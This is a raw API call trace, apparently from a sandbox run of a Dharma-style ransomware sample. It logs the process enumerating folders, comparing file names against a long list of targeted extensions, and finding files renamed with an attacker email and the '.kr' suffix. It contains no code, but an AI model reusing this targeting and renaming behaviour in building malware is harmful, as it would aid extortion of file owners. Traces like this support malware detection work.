lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0085.177] lstrlenW (lpString=".dot") returned 4 [0085.178] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0085.178] lstrlenW (lpString=".dotm") returned 5 [0085.178] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0085.178] lstrlenW (lpString=".dotx") returned 5 [0085.178] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0085.178] lstrlenW (lpString=".dpx") returned 4 [0085.178] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0085.178] lstrlenW (lpString=".dqy") returned 4 [0085.178] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0085.178] lstrlenW (lpString=".dsn") returned 4 [0085.178] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0085.178] lstrlenW (lpString=".dt") returned 3 [0085.178] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0085.178] lstrlenW (lpString=".dtd") returned 4 [0085.178] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0085.178] lstrlenW (lpString=".dwg") returned 4 [0085.178] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0085.178] lstrlenW (lpString=".dwt") returned 4 [0085.178] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0085.178] lstrlenW (lpString=".dx") returned 3 [0085.178] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0085.178] lstrlenW (lpString=".dxf") returned 4 [0085.178] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0085.178] lstrlenW (lpString=".edml") returned 5 [0085.178] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0085.178] lstrlenW (lpString=".efd") returned 4 [0085.178] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0085.178] lstrlenW (lpString=".elf") returned 4 [0085.178] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0085.178] lstrlenW (lpString=".emf") returned 4 [0085.178] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0085.179] lstrlenW (lpString=".emz") returned 4 [0085.179] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0085.179] lstrlenW (lpString=".epf") returned 4 [0085.179] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0085.179] lstrlenW (lpString=".eps") returned 4 [0085.179] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0085.179] lstrlenW (lpString=".epsf") returned 5 [0085.179] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0085.179] lstrlenW (lpString=".epsp") returned 5 [0085.179] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0085.179] lstrlenW (lpString=".erf") returned 4 [0085.179] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0085.179] lstrlenW (lpString=".exr") returned 4 [0085.179] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0085.179] lstrlenW (lpString=".f4v") returned 4 [0085.179] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0085.179] lstrlenW (lpString=".fido") returned 5 [0085.179] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0085.179] lstrlenW (lpString=".flm") returned 4 [0085.179] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0085.179] lstrlenW (lpString=".flv") returned 4 [0085.179] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0085.179] lstrlenW (lpString=".frm") returned 4 [0085.179] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0085.179] lstrlenW (lpString=".fxg") returned 4 [0085.179] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0085.179] lstrlenW (lpString=".geo") returned 4 [0085.179] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0085.179] lstrlenW (lpString=".gif") returned 4 [0085.179] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0085.179] lstrlenW (lpString=".grs") returned 4 [0085.179] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0085.180] lstrlenW (lpString=".gz") returned 3 [0085.180] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0085.180] lstrlenW (lpString=".h") returned 2 [0085.180] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0085.180] lstrlenW (lpString=".hdr") returned 4 [0085.180] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0085.180] lstrlenW (lpString=".hpp") returned 4 [0085.180] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0085.180] lstrlenW (lpString=".hta") returned 4 [0085.180] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0085.180] lstrlenW (lpString=".htc") returned 4 [0085.180] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0085.180] lstrlenW (lpString=".htm") returned 4 [0085.180] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0085.180] lstrlenW (lpString=".html") returned 5 [0085.180] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0085.180] lstrlenW (lpString=".icb") returned 4 [0085.180] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0085.180] lstrlenW (lpString=".ics") returned 4 [0085.180] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0085.180] lstrlenW (lpString=".iff") returned 4 [0085.180] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0085.180] lstrlenW (lpString=".inc") returned 4 [0085.180] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0085.180] lstrlenW (lpString=".indd") returned 5 [0085.180] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0085.180] lstrlenW (lpString=".ini") returned 4 [0085.180] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0085.180] lstrlenW (lpString=".iqy") returned 4 [0085.180] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0085.180] lstrlenW (lpString=".j2c") returned 4 [0085.180] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0085.181] lstrlenW (lpString=".j2k") returned 4 [0085.181] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0085.181] lstrlenW (lpString=".java") returned 5 [0085.181] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0085.181] lstrlenW (lpString=".jp2") returned 4 [0085.181] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0085.181] lstrlenW (lpString=".jpc") returned 4 [0085.181] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0085.181] lstrlenW (lpString=".jpe") returned 4 [0085.181] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0085.181] lstrlenW (lpString=".jpeg") returned 5 [0085.181] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0085.181] lstrlenW (lpString=".jpf") returned 4 [0085.181] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0085.181] lstrlenW (lpString=".jpg") returned 4 [0085.181] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0085.181] lstrlenW (lpString=".jpx") returned 4 [0085.181] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0085.181] lstrlenW (lpString=".js") returned 3 [0085.181] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0085.181] lstrlenW (lpString=".jsf") returned 4 [0085.181] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0085.181] lstrlenW (lpString=".json") returned 5 [0085.181] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0085.181] lstrlenW (lpString=".jsp") returned 4 [0085.181] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0085.181] lstrlenW (lpString=".kdc") returned 4 [0085.181] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0085.181] lstrlenW (lpString=".kmz") returned 4 [0085.181] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0085.181] lstrlenW (lpString=".kwm") returned 4 [0085.181] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0085.182] lstrlenW (lpString=".lasso") returned 6 [0085.182] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0085.182] lstrlenW (lpString=".lbi") returned 4 [0085.182] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0085.182] lstrlenW (lpString=".lgf") returned 4 [0085.182] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0085.182] lstrlenW (lpString=".lgp") returned 4 [0085.182] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0085.182] lstrlenW (lpString=".log") returned 4 [0085.182] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0085.182] lstrlenW (lpString=".m1v") returned 4 [0085.182] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0085.182] lstrlenW (lpString=".m4a") returned 4 [0085.182] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0085.182] lstrlenW (lpString=".m4v") returned 4 [0085.182] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0085.182] lstrlenW (lpString=".max") returned 4 [0085.182] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0085.182] lstrlenW (lpString=".md") returned 3 [0085.182] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0085.182] lstrlenW (lpString=".mda") returned 4 [0085.182] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0085.182] lstrlenW (lpString=".mdb") returned 4 [0085.182] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0085.182] lstrlenW (lpString=".mde") returned 4 [0085.182] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0085.182] lstrlenW (lpString=".mdf") returned 4 [0085.182] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mdw") returned 4 [0085.183] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mef") returned 4 [0085.183] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mft") returned 4 [0085.183] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mfw") returned 4 [0085.183] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mht") returned 4 [0085.183] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mhtml") returned 6 [0085.183] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0085.183] lstrlenW (lpString=".mka") returned 4 [0085.183] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mkidx") returned 6 [0085.183] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0085.183] lstrlenW (lpString=".mkv") returned 4 [0085.183] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mos") returned 4 [0085.183] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mov") returned 4 [0085.183] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mp3") returned 4 [0085.183] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mp4") returned 4 [0085.183] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mpeg") returned 5 [0085.183] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0085.183] lstrlenW (lpString=".mpg") returned 4 [0085.183] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mpv") returned 4 [0085.183] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0085.183] lstrlenW (lpString=".mrw") returned 4 [0085.184] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".msg") returned 4 [0085.184] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".mxl") returned 4 [0085.184] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".myd") returned 4 [0085.184] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".myi") returned 4 [0085.184] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".nef") returned 4 [0085.184] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".nrw") returned 4 [0085.184] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".obj") returned 4 [0085.184] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".odb") returned 4 [0085.184] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".odc") returned 4 [0085.184] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".odm") returned 4 [0085.184] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".odp") returned 4 [0085.184] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".ods") returned 4 [0085.184] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".oft") returned 4 [0085.184] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0085.184] lstrlenW (lpString=".one") returned 4 [0085.185] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0085.185] lstrlenW (lpString=".onepkg") returned 7 [0085.185] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0085.185] lstrlenW (lpString=".onetoc2") returned 8 [0085.185] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0085.185] lstrlenW (lpString=".opt") returned 4 [0085.185] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0085.185] lstrlenW (lpString=".oqy") returned 4 [0085.185] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0085.185] lstrlenW (lpString=".orf") returned 4 [0085.185] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0085.185] lstrlenW (lpString=".p12") returned 4 [0085.185] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0085.185] lstrlenW (lpString=".p7b") returned 4 [0085.185] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0085.185] lstrlenW (lpString=".p7c") returned 4 [0085.185] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0085.185] lstrlenW (lpString=".pam") returned 4 [0085.185] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0085.185] lstrlenW (lpString=".pbm") returned 4 [0085.185] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0085.185] lstrlenW (lpString=".pct") returned 4 [0085.185] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0085.185] lstrlenW (lpString=".pcx") returned 4 [0085.185] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0085.185] lstrlenW (lpString=".pdd") returned 4 [0085.185] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0085.185] lstrlenW (lpString=".pdf") returned 4 [0085.186] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0085.186] lstrlenW (lpString=".pdp") returned 4 [0085.186] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0085.186] lstrlenW (lpString=".pef") returned 4 [0085.186] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0085.186] lstrlenW (lpString=".pem") returned 4 [0085.186] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0085.186] lstrlenW (lpString=".pff") returned 4 [0085.186] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0085.186] lstrlenW (lpString=".pfm") returned 4 [0085.186] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0085.186] lstrlenW (lpString=".pfx") returned 4 [0085.186] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0085.186] lstrlenW (lpString=".pgm") returned 4 [0085.186] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0085.186] lstrlenW (lpString=".php") returned 4 [0085.186] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0085.186] lstrlenW (lpString=".php3") returned 5 [0085.186] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0085.186] lstrlenW (lpString=".php4") returned 5 [0085.186] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0085.186] lstrlenW (lpString=".php5") returned 5 [0085.186] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0085.186] lstrlenW (lpString=".phtml") returned 6 [0085.186] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0085.186] lstrlenW (lpString=".pict") returned 5 [0085.187] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0085.187] lstrlenW (lpString=".pl") returned 3 [0085.187] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0085.187] lstrlenW (lpString=".pls") returned 4 [0085.187] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0085.187] lstrlenW (lpString=".pm") returned 3 [0085.187] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0085.187] lstrlenW (lpString=".png") returned 4 [0085.187] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0085.187] lstrlenW (lpString=".pnm") returned 4 [0085.187] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0085.187] lstrlenW (lpString=".pot") returned 4 [0085.187] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0085.187] lstrlenW (lpString=".potm") returned 5 [0085.187] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0085.187] lstrlenW (lpString=".potx") returned 5 [0085.187] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0085.187] lstrlenW (lpString=".ppa") returned 4 [0085.187] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0085.187] lstrlenW (lpString=".ppam") returned 5 [0085.187] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0085.187] lstrlenW (lpString=".ppm") returned 4 [0085.187] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0085.187] lstrlenW (lpString=".pps") returned 4 [0085.187] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0085.187] lstrlenW (lpString=".ppsm") returned 5 [0085.187] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0085.188] lstrlenW (lpString=".ppt") returned 4 [0085.188] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0085.188] lstrlenW (lpString=".pptm") returned 5 [0085.188] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0085.188] lstrlenW (lpString=".pptx") returned 5 [0085.188] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0085.188] lstrlenW (lpString=".prn") returned 4 [0085.188] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0085.188] lstrlenW (lpString=".ps") returned 3 [0085.188] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0085.188] lstrlenW (lpString=".psb") returned 4 [0085.188] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0085.188] lstrlenW (lpString=".psd") returned 4 [0085.188] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0085.188] lstrlenW (lpString=".pst") returned 4 [0085.188] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0085.188] lstrlenW (lpString=".ptx") returned 4 [0085.188] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0085.188] lstrlenW (lpString=".pub") returned 4 [0085.188] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0085.188] lstrlenW (lpString=".pwm") returned 4 [0085.188] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0085.188] lstrlenW (lpString=".pxr") returned 4 [0085.188] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0085.188] lstrlenW (lpString=".py") returned 3 [0085.188] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0085.189] lstrlenW (lpString=".qt") returned 3 [0085.189] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0085.189] lstrlenW (lpString=".r3d") returned 4 [0085.189] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0085.189] lstrlenW (lpString=".raf") returned 4 [0085.189] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0085.189] lstrlenW (lpString=".rar") returned 4 [0085.189] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0085.189] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5abb472, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5abb472, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5aec209, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0085.189] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0085.189] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0085.190] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0085.190] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0085.190] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0085.190] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0085.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040") returned 26 [0085.190] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc5ddacff, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0085.190] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc5ddacff, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.191] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5d8e94b, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5d8e94b, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5d8e94b, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0085.191] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0085.191] lstrlenW (lpString=".1cd") returned 4 [0085.191] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0085.191] lstrlenW (lpString=".3ds") returned 4 [0085.191] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0085.191] lstrlenW (lpString=".3fr") returned 4 [0085.191] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0085.191] lstrlenW (lpString=".3g2") returned 4 [0085.191] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0085.191] lstrlenW (lpString=".3gp") returned 4 [0085.191] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0085.191] lstrlenW (lpString=".7z") returned 3 [0085.801] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0085.801] lstrlenW (lpString=".accda") returned 6 [0085.801] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0085.801] lstrlenW (lpString=".accdb") returned 6 [0085.801] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0085.801] lstrlenW (lpString=".accdc") returned 6 [0085.801] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0085.801] lstrlenW (lpString=".accde") returned 6 [0085.801] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0085.801] lstrlenW (lpString=".accdt") returned 6 [0085.801] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0085.801] lstrlenW (lpString=".accdw") returned 6 [0085.801] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0085.801] lstrlenW (lpString=".adb") returned 4 [0085.801] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0085.801] lstrlenW (lpString=".adp") returned 4 [0085.801] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0085.801] lstrlenW (lpString=".ai") returned 3 [0085.801] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0085.801] lstrlenW (lpString=".ai3") returned 4 [0085.802] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0085.802] lstrlenW (lpString=".ai4") returned 4 [0085.802] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0085.802] lstrlenW (lpString=".ai5") returned 4 [0085.802] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0085.802] lstrlenW (lpString=".ai6") returned 4 [0085.802] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0085.802] lstrlenW (lpString=".ai7") returned 4 [0085.802] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0085.802] lstrlenW (lpString=".ai8") returned 4 [0085.802] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0085.802] lstrlenW (lpString=".anim") returned 5 [0085.802] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0085.802] lstrlenW (lpString=".arw") returned 4 [0085.802] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0085.802] lstrlenW (lpString=".as") returned 3 [0085.802] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0085.802] 